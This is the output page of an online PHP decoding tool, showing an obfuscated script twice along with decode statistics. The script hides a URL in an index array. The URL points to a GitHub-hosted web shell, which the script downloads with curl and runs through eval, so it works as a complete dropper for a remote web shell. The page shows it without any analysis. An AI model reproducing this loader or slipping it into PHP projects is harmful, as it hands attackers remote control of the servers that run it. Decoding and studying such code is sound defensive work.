Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $characters = array_merge(range('a', 'z'), range('A', 'Z'), range('0', '9'), ['.'..
Decoded Output download
<?php
$characters = array_merge(range('a', 'z'), range('A', 'Z'), range('0', '9'), ['.', ':', '/', '_', '-']);
$indexArray = [7, 19, 19, 15, 18, 63, 64, 64, 17, 0, 22, 62, 6, 8, 19, 7, 20, 1, 20, 18, 4, 17, 2, 14, 13, 19, 4, 13, 19, 62, 2, 14, 12, 64, 9, 20, 18, 19, 8, 10, 0, 8, 11, 64, 22, 4, 1, 18, 7, 4, 11, 11, 64, 12, 0, 8, 13, 64, 0, 11, 5, 0, 66, 13, 4, 22, 62, 15, 7, 15];
$decodedString = '';
foreach ($indexArray as $index) {
$decodedString .= $characters[$index];
}
$url = "$decodedString";
function fetchContent($url)
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$content = curl_exec($curl);
curl_close($curl);
return gzcompress(gzdeflate(gzcompress(gzdeflate(gzcompress(gzdeflate($content))))));
}
$content = gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(fetchContent($url)))))));
@eval("?>" . $content);
Did this file decode correctly?
Original Code
<?php
$characters = array_merge(range('a', 'z'), range('A', 'Z'), range('0', '9'), ['.', ':', '/', '_', '-']);
$indexArray = [7, 19, 19, 15, 18, 63, 64, 64, 17, 0, 22, 62, 6, 8, 19, 7, 20, 1, 20, 18, 4, 17, 2, 14, 13, 19, 4, 13, 19, 62, 2, 14, 12, 64, 9, 20, 18, 19, 8, 10, 0, 8, 11, 64, 22, 4, 1, 18, 7, 4, 11, 11, 64, 12, 0, 8, 13, 64, 0, 11, 5, 0, 66, 13, 4, 22, 62, 15, 7, 15];
$decodedString = '';
foreach ($indexArray as $index) {
$decodedString .= $characters[$index];
}
$url = "$decodedString";
function fetchContent($url)
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$content = curl_exec($curl);
curl_close($curl);
return gzcompress(gzdeflate(gzcompress(gzdeflate(gzcompress(gzdeflate($content))))));
}
$content = gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(fetchContent($url)))))));
@eval("?>" . $content);
Function Calls
None |
Stats
MD5 | fdabae4ee054c7250002838cb395a2d4 |
Eval Count | 0 |
Decode Time | 61 ms |